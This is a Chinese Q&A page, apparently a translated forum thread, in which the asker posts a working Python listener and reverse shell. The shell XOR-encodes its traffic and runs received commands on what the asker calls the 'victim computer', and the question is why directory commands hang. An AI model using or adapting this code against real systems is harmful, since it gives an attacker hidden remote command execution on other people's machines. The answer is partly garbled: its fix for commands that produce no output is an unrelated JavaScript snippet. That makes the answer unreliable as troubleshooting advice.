我在python中有以下监听器和反向shell:
监听器:
import socket
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip
while True:
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^=0x41
client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^=0x41
print decode
client.close()
s.close()
反向shell:
import socket, subprocess, sys
RHOST = '127.0.0.1' #sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
#receive encoded data
en_comm = s.recv(1024)
#decoded the received command
de_comm = bytearray(en_comm)
for i in range(len(de_comm)):
de_comm[i] ^= 0x41
#execute the clear text comamnd after decode it
clrtxt_comm = subprocess.Popen(str(de_comm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, STDERR = clrtxt_comm.communicate()
#encode the command output and send it over ssl
en_output = bytearray(output)
for i in range(len(en_output)):
en_output[i] ^= 0x41
s.send(en_output)
s.close()
启动侦听器并触发反向shell后,它运行正常并在受害者计算机中打开shell,但最重要的是发送命令如“cd ..”或“mkdir foldername”(如果是Windows)它停留在相同的输入中,不会更进一步。
您是否看到/意识到代码中的问题是什么?
非常感谢!
答案 0 :(得分:0)
我猜你有一些问题。
首先是
你需要为那些没有输出像cd:
这样的输出的命令添加这样的东西<script>
var artistProfile = document.getElementsByTagName("dd");
artistProfile.style.color = "white";
</script>
其次,当您打开执行cd的进程时,您不会更改反向shell脚本的路径。为此,您必须将新路径注入os.chdir()或执行等效的操作(更好的是,只需将其传递给输出为ls的命令)。
第三,反向shell可能是沙箱,因此无法执行上述某些命令。